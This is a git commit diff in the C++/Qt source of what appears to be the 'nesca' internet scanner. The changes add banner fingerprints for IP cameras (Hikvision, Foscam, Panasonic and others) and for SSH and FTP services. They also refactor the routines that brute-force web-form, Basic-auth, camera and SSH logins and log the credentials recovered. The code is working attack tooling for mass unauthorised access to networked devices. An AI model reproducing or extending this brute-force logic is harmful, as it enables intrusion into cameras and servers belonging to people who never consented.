#3_22676-859

This commit is contained in:
cora32 2014-09-19 22:27:28 +03:00
parent 71d0a8d166
commit 3d4f51f19c
14 changed files with 961 additions and 930 deletions

View File

@ -1,5 +1,4 @@
#include "ActivityDrawerTh_HorNet.h" #include "ActivityDrawerTh_HorNet.h"
#include "STh.h"
void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data) void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data)
{ {

View File

@ -2,7 +2,7 @@
#define ACTIVITYDRAWERTH_HORNET_H #define ACTIVITYDRAWERTH_HORNET_H
#pragma once #pragma once
#include "nesca_3.h" #include "STh.h"
class ActivityDrawerTh_HorNet : public QThread class ActivityDrawerTh_HorNet : public QThread
{ {

View File

@ -2,8 +2,7 @@
#define CHECKKEY_TH_H #define CHECKKEY_TH_H
#pragma once #pragma once
#include "nesca_3.h" #include "STh.h"
#include "resource.h"
extern int emitIfOK; extern int emitIfOK;
class CheckKey_Th : public QThread class CheckKey_Th : public QThread
{ {

View File

@ -1,5 +1,4 @@
#include "DrawerTh_GridQoSScanner.h" #include "DrawerTh_GridQoSScanner.h"
#include "STh.h"
void DrawerTh_GridQoSScanner::doEmitAddLine() void DrawerTh_GridQoSScanner::doEmitAddLine()
{ {

View File

@ -2,8 +2,7 @@
#define DRAWERTH_GRIDQOSSCANNER_H #define DRAWERTH_GRIDQOSSCANNER_H
#pragma once #pragma once
#include "nesca_3.h" #include "STh.h"
#include "resource.h"
class DrawerTh_GridQoSScanner : public QThread class DrawerTh_GridQoSScanner : public QThread
{ {

View File

@ -2,8 +2,7 @@
#define DRAWERTH_ME2SCANNER_H #define DRAWERTH_ME2SCANNER_H
#pragma once #pragma once
#include "nesca_3.h" #include "STh.h"
#include "resource.h"
class DrawerTh_ME2Scanner : public QThread class DrawerTh_ME2Scanner : public QThread
{ {

File diff suppressed because it is too large Load Diff

View File

@ -28,7 +28,6 @@ char *_findFirstOcc(char *str, char *delim)
}; };
}; };
//return str;
return NULL; return NULL;
}; };
char *FindLastOcc(char *str, char *delim) char *FindLastOcc(char *str, char *delim)
@ -170,18 +169,13 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
{ {
if(strlen(buffcpy) == 0) return -1; if(strlen(buffcpy) == 0) return -1;
// char buffcpy[RECV_MAX_LENGTH] = {0};
//std::string rr = toLowerStr(xcode(buffcp, CP_UTF8, CP_ACP).c_str());
//memcpy((void*)buffcpy, rr.c_str(), rr.size());
char negWord[256] = {0}; char negWord[256] = {0};
for(int i = 0; i < GlobalNegativeSize; i++) for(int i = 0; i < GlobalNegativeSize; i++)
{ {
if(globalScanFlag) if(globalScanFlag)
{ {
strcpy(negWord, GlobalNegatives[i]); strcpy(negWord, GlobalNegatives[i]);
if(strstr(buffcpy, negWord) != NULL && (strcmp(negWord, "") != 0 || strlen(negWord) >= 2)) if(strstr(buffcpy, negWord) != NULL)
{ {
if(gNegDebugMode) if(gNegDebugMode)
{ {
@ -237,7 +231,9 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
) )
&& strstr(buffcpy, "digest realm") != NULL) return 101; && strstr(buffcpy, "digest realm") != NULL
&& strstr(buffcpy, "basic realm") == NULL
) return 101;
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
) return 1; ) return 1;
@ -265,9 +261,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //IPC web ip cam if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //IPC web ip cam
if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
@ -276,6 +271,12 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
if(strstr(buffcpy, "lapassword") != NULL
&& strstr(buffcpy, "lausername") != NULL
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
) return 44; //hikvision cam 2
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
(strstri(buffcpy, "220 diskStation ftp server ready") != NULL) || (strstri(buffcpy, "220 diskStation ftp server ready") != NULL) ||
@ -304,7 +305,9 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
) )
&& strstr(buffcpy, "digest realm") != NULL) return 101; && strstr(buffcpy, "digest realm") != NULL
&& strstr(buffcpy, "basic realm") == NULL
) return 101;
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL) || strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
) return 1; ) return 1;
@ -332,9 +335,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam
if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
@ -343,6 +345,12 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
if(strstr(buffcpy, "lapassword") != NULL
&& strstr(buffcpy, "lausername") != NULL
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
) return 44; //hikvision cam 2
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
@ -979,7 +987,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL)
static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"};
vector<std::string> vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); vector<std::string> vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) );
static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"}; static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"};
vector<std::string> vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); vector<std::string> vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) );
char *_getAttribute(char *str, char *attrib) char *_getAttribute(char *str, char *attrib)
@ -1006,19 +1014,19 @@ char *_getAttribute(char *str, char *attrib)
void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key) void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
{ {
char *pos = NULL; char *pos = NULL;
char field[128] = {0}; char field[256] = {0};
if(strcmp(key, "USER") == 0) if(strcmp(key, "USER") == 0)
{ {
for(int i = 0; i < inputVec.size(); ++i) for(int i = 0; i < inputVec.size(); ++i)
{ {
ZeroMemory(field, 128); ZeroMemory(field, 256);
_getFormVal((char*)inputVec[i].data(), field, "name="); _getFormVal((char*)inputVec[i].data(), field, "name=");
for(int j = 0; j < vecUser.size(); ++j) for(int j = 0; j < vecUser.size(); ++j)
{ {
pos = strstri(field, vecUser[j].data()); pos = strstri(field, vecUser[j].data());
if(pos != NULL) if(pos != NULL)
{ {
strncpy(buff, field, 128); strncpy(buff, field, 256);
return; return;
}; };
}; };
@ -1028,14 +1036,14 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
{ {
for(int i = 0; i < inputVec.size(); ++i) for(int i = 0; i < inputVec.size(); ++i)
{ {
ZeroMemory(field, 128); ZeroMemory(field, 256);
_getFormVal((char*)inputVec[i].data(), field, "name="); _getFormVal((char*)inputVec[i].data(), field, "name=");
for(int j = 0; j < vecPass.size(); ++j) for(int j = 0; j < vecPass.size(); ++j)
{ {
pos = strstri(field, vecPass[j].data()); pos = strstri(field, vecPass[j].data());
if(pos != NULL) if(pos != NULL)
{ {
strncpy(buff, field, 128); strncpy(buff, field, 256);
return; return;
}; };
}; };
@ -1103,14 +1111,15 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
char *inptPtr1 = strstri(frmBlock, "<input "); char *inptPtr1 = strstri(frmBlock, "<input ");
int insz = 0; int insz = 0;
char *inptPtrEnd = NULL; char *inptPtrEnd = NULL;
char tempInptStr[128] = {0}; char tempInptStr[256] = {0};
while(inptPtr1 != NULL) while(inptPtr1 != NULL)
{ {
inptPtrEnd = strstr(inptPtr1, ">"); inptPtrEnd = strstr(inptPtr1, ">");
if(inptPtrEnd != NULL) if(inptPtrEnd != NULL)
{ {
ZeroMemory(tempInptStr, 256);
insz = inptPtrEnd - inptPtr1 + 1; insz = inptPtrEnd - inptPtr1 + 1;
strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128)); strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256));
inputVec.push_back(std::string(tempInptStr)); inputVec.push_back(std::string(tempInptStr));
inptPtr1 = strstri(inptPtrEnd, "<input "); inptPtr1 = strstri(inptPtrEnd, "<input ");
} }
@ -1124,9 +1133,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
} }
else else
{ {
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found."); if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); ///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp); ///putInFile(flag, ip, tport, recd, title, hl, cp);
}; };
} }
else else
@ -1206,9 +1215,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
} }
else else
{ {
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field."); if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass); ///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
putInFile(flag, ip, tport, recd, title, hl, cp); ///putInFile(flag, ip, tport, recd, title, hl, cp);
}; };
}; };
OnLiner = 0; OnLiner = 0;
@ -1257,7 +1266,7 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
}; };
ZeroMemory(temp, strlen(temp)); ZeroMemory(temp, sizeof(temp));
}; };
const char *GetTitle(char* str) const char *GetTitle(char* str)
{ {
@ -1373,39 +1382,40 @@ const char *GetTitle(char* str)
return finalstr; return finalstr;
}; };
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl) void _saveSSH(char *ip, int port, int recd, char *buffcpy)
{
if(buffcpy != NULL)
{ {
char b[16] = {0}; char b[16] = {0};
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if(p == 22)
{
flag = -22;
char log[2048] = {0}; char log[2048] = {0};
char logEmit[2048] = {0}; char logEmit[2048] = {0};
char goodStr[256] = {0}; char goodStr[256] = {0};
char banner[256] = {0}; char banner[256] = {0};
char *ptr1 = strstr(buffcpy, "|+|"); char *ptr1 = strstr(buffcpy, "|+|");
if(ptr1 != NULL)
{
int gsz = ptr1 - buffcpy; int gsz = ptr1 - buffcpy;
strncpy(goodStr, buffcpy, gsz); strncpy(goodStr, buffcpy, gsz);
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
strcpy(logEmit, "[SSH] "); strcpy(logEmit, "[SSH] ");
strcpy(log, "[SSH] <font color=\"#00a8ff\">"); strcpy(log, "[SSH] <font color=\"#00a8ff\">");
strcat(log, goodStr); strcat(log, goodStr);
strcat(log, ":");
strcat(log, itoa(port, b, 10));
strcat(log, "</font>"); strcat(log, "</font>");
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">"); strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
strcat(log, banner); strcat(log, banner);
strcat(log, "</font>"); strcat(log, "</font>");
++PieSSH; ++PieSSH;
strcat(logEmit, "<span style=\"color: #00a8ff;\">"); strcat(logEmit, "<span style=\"color: #00a8ff;\">");
strcat(logEmit, goodStr); strcat(logEmit, goodStr);
strcat(logEmit, ":");
strcat(logEmit, itoa(port, b, 10));
strcat(logEmit, "</span>"); strcat(logEmit, "</span>");
fputsf (ip, itoa(p, b, 10), log, flag, "SSH"); fputsf (ip, itoa(port, b, 10), log, -22, "SSH");
char loginSSH[128] = {0}; char loginSSH[128] = {0};
char passSSH[128] = {0}; char passSSH[128] = {0};
char *ptrl1 = strstr(buffcpy, ":"); char *ptrl1 = strstr(buffcpy, ":");
@ -1414,11 +1424,40 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
char *ptrl2 = strstr(buffcpy, "@"); char *ptrl2 = strstr(buffcpy, "@");
lpsz = ptrl2 - ptrl1; lpsz = ptrl2 - ptrl1;
strncpy(passSSH, ptrl1 + 1, lpsz); strncpy(passSSH, ptrl1 + 1, lpsz);
fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
#pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion }
else
{
stt->doEmitionRedFoundData("[_saveSSH] Wrong format! [" + QString(ip) + ":" + QString::number(port) + "]");
};
}
else
{
stt->doEmitionRedFoundData("[_saveSSH] Empty buffer! [" + QString(ip) + ":" + QString::number(port) + "]");
};
};
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
{
char b[16] = {0};
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL )
{
conSTR CSTR;
CSTR.lowerBuff = NULL;
CSTR.size = 0;
int res = _SSHLobby(ip, p, &CSTR);
if(res != -1 && res != -2)
{
_saveSSH(ip, p, recd, CSTR.lowerBuff);
};
return -1;
};
if(p == 22)
{
_saveSSH(ip, p, recd, buffcpy);
return -1; return -1;
}; };
@ -1433,7 +1472,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
ZeroMemory(ps.headr, sizeof(ps.headr)); ZeroMemory(ps.headr, sizeof(ps.headr));
ZeroMemory(ps.path, sizeof(ps.path)); ZeroMemory(ps.path, sizeof(ps.path));
char finalstr[TITLE_MAX_LENGTH] = {0}; char finalstr[TITLE_MAX_SIZE] = {0};
char port[32] = {0}; char port[32] = {0};
int flag = 0; int flag = 0;
char cp[32] = {0}; char cp[32] = {0};
@ -1451,7 +1490,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
std::vector<std::string> redirStrLst; std::vector<std::string> redirStrLst;
char rBuff[65536] = {0}; char rBuff[65536] = {0};
strncpy(rBuff, buffcpy, 65535); strncpy(rBuff, buffcpy, 65535);
char cookie[1024] = {0};
if(flag == 0 || flag == 3 || flag == 7 ) if(flag == 0 || flag == 3 || flag == 7 )
{ {
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff); int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff);
@ -1462,11 +1500,14 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
strcat(finalstr, ps.headr); strcat(finalstr, ps.headr);
p = ps.port; p = ps.port;
strcpy(ip, ps.ip); strcpy(ip, ps.ip);
strcpy(cookie, ps.cookie);
}; };
int sz = strlen(ps.path); int sz = strlen(ps.path);
strncpy(pps, ps.path, (sz < 256 ? sz : 256)); strncpy(pps, ps.path, (sz < 256 ? sz : 256));
}
else
{
if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE);
}; };
strcpy(port, itoa(p, b, 10)); strcpy(port, itoa(p, b, 10));
@ -1475,9 +1516,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1;
fillerFlag = 1; fillerFlag = 1;
#pragma region Fillers #pragma region Fillers
if(flag == 16) if(flag == 16)
{ {
Connector con; Connector con;
@ -1577,8 +1616,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
fputsf(ip, port, log, flag, "FTP"); fputsf(ip, port, log, flag, "FTP");
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP"); fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
#pragma region QTGUI_Area #pragma region QTGUI_Area
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
#pragma endregion #pragma endregion
@ -1685,6 +1722,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
{ {
_specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, ""); _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, "");
} }
else if(flag == 44) //Hikvision ip cam 2
{
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, "");
}
else if(flag == 20) //AXIS Camera else if(flag == 20) //AXIS Camera
{ {
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
@ -1746,7 +1787,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
fputsf (ip, port, log , flag, "HFS"); fputsf (ip, port, log , flag, "HFS");
stt->doEmitionFoundData(QString::fromLocal8Bit(log)); stt->doEmitionFoundData(QString::fromLocal8Bit(log));
ZeroMemory(temp, strlen(temp)); ZeroMemory(temp, sizeof(temp));
} }
else if(flag == 1) else if(flag == 1)
{ {
@ -1797,7 +1838,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
